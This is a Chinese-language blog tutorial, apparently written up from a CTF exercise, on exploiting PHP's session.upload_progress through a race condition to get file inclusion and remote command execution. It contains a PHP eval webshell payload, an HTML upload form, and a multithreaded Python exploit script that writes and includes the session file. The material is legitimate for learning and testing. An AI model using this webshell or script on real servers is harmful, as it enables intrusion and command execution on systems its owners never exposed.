使用session upload_progress实现文件包含实例详解

 更新时间:2022年12月09日 11:28:22   作者:XINO  
这篇文章主要为大家介绍了使用session upload_progress实现文件包含实例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

前言

该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争从而达到上传文件进行文件包含或者命令执行的目的,可能大部分人会不理解,我们下面我们展开来讲。

基础知识

session.upload_progress

首先我们要先学习什么是session.upload_progress,可以简单理解为文件上传进度,在php官方文档里可以找到描述:

在这里面有几个很重要的函数,我们简单看一下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一个显而易见是设定是否开启该功能,第二个cleanup则是是否在上传后删除文件,第三个为设置前缀,第四个为session中的键值,那么他们有什么用呢?我们就可以在phpinfo里查看这些信息是否开启以此来判断能不能利用该漏洞。

攻击方法

我们攻击思路就是利用session.upload_progress来将木马写入到session里面,但这里有两个问题:

问题一:代码里没有session_start,我们如何创建session文件呢?

首先我们先看看session里面有一个很重要的选项:

session.use_strict_mode //默认值为off。

我们可以自己定义sessionid,假如我们定义sessionid为xino,则PHP将会在服务器上创建一个文件:/tmp/sess_xino”。即使我们没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由:

ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成

最后被写入sess_文件里。

问题二:上面的cleanup设置会删除数据,我们要如何防止数据被删除呢?

所以这里需要我们文件竞争不断发包直至上传成功,之后再读取session文件所在路径即可。类似于下图,可以搭配burpsuite使用:

之后我们即可进行文件包含或者RCE攻击,总结一下该漏洞的利用条件:

存在文件包含漏洞

知道session文件存放路径,可以尝试默认路径

具有读取和写入session文件的权限

下面给大家带来一个例题。

例题

进入题目首先看看题目源码:

限制了我们很多东西,只能使用没有后缀的文件进行文件包含所以想到通过session.upload_progress来进行文件包含,因为我们需要上传一个东西,所以我们先写一个简单的文件上传点:

<!DOCTYPE html>
<html>
<body>
<form action="http://ctf" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

之后我们进行发包抓包然后重放,查看回显成功后我们访问/tmp/sess_flag,发现命令执行了:

我们将之前发包文件里面的ls命令改为cat flag的文件名即可进行命令执行,也是抓包重放查看返回长度不一样的包:

如果不喜欢手动我这里从网上找了一个自动化脚本,大家也可以尝试一下:

import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

结语

今天给大家带来的是session.upload_progress文件包含漏洞,因为需要一些网络安全基础可能部分读者不太明白,这里有兴趣的小伙伴可以自己去了解一下找个现成的靶机去尝试一下,更多关于session upload_progress文件包含的资料请关注脚本之家其它相关文章!

相关文章

  • PHP设计模式(五)适配器模式Adapter实例详解【结构型】

    PHP设计模式(五)适配器模式Adapter实例详解【结构型】

    这篇文章主要介绍了PHP设计模式:适配器模式Adapter,结合实例形式详细分析了PHP适配器模式Adapter基本概念、功能、原理、用法及操作注意事项,需要的朋友可以参考下
    2020-05-05
  • 在VS Code 中调试远程服务器的PHP代码详解

    在VS Code 中调试远程服务器的PHP代码详解

    这篇文章主要介绍了在VSCode中调试远程服务器的PHP代码,这里通过xdebug配合vscode的php debug插件来实现,本文结合实例代码介绍的非常详细,需要的朋友可以参考下
    2023-07-07
  • PHP 闭包获取外部变量和global关键字声明变量的区别讲解

    PHP 闭包获取外部变量和global关键字声明变量的区别讲解

    闭包是一个常见的概念,我们通常可以将其与回调函数配合使用,可以使代码更加简洁易读。这篇文章主要介绍了PHP 闭包获取外部变量和global关键字声明变量的区别,需要的朋友可以参考下
    2017-12-12
  • php学习Eloquent修改器源码示例解析

    php学习Eloquent修改器源码示例解析

    这篇文章主要为大家介绍了php学习Eloquent修改器源码示例解析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-06-06
  • 微信扫描二维码登录网站代码示例

    微信扫描二维码登录网站代码示例

    用户通过扫描网页提供的二维码实现登陆信息获取,大家参考使用吧
    2013-12-12
  • Yii框架Session与Cookie使用方法示例

    Yii框架Session与Cookie使用方法示例

    这篇文章主要介绍了Yii框架Session与Cookie使用方法,结合实例形式分析了Yii框架针对Session与Cookie的设置、获取、删除等相关操作技巧,需要的朋友可以参考下
    2019-10-10
  • php+ffmpeg如何获取视频缩略图、视频分辨率等相关信息

    php+ffmpeg如何获取视频缩略图、视频分辨率等相关信息

    这篇文章主要给大家介绍了关于php+ffmpeg如何获取视频缩略图、视频分辨率等相关信息的相关资料,文中通过实例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2022-03-03
  • 使用php测试硬盘写入速度示例

    使用php测试硬盘写入速度示例

    使用php写入一个1GB大小的文件,检查硬盘的写速率,可能有一定误差,一般电脑读写在20M/s,这个测试要执行大概40-50s
    2014-01-01
  • Thinkphp整合阿里云OSS图片上传实例代码

    Thinkphp整合阿里云OSS图片上传实例代码

    kphp3.2整合阿里云OSS图片上传实例,图片上传至OSS可减少服务器压力,节省宽带,安全又稳定,阿里云OSS对于做负载均衡非常方便,不用传到各个服务器了,本文通过实例代码给大家介绍,需要的朋友一起看看吧
    2019-04-04
  • Laravel中日期时间处理包Carbon的简单使用

    Laravel中日期时间处理包Carbon的简单使用

    处理日期和时间需要考虑很多事情,例如日期的格式、时区、闰年和天数各异的月份,自己处理太容易出错了,下面这篇文章主要给大家介绍了关于在Laravel中日期时间处理包Carbon的简单使用,需要的朋友可以参考下。
    2017-09-09

最新评论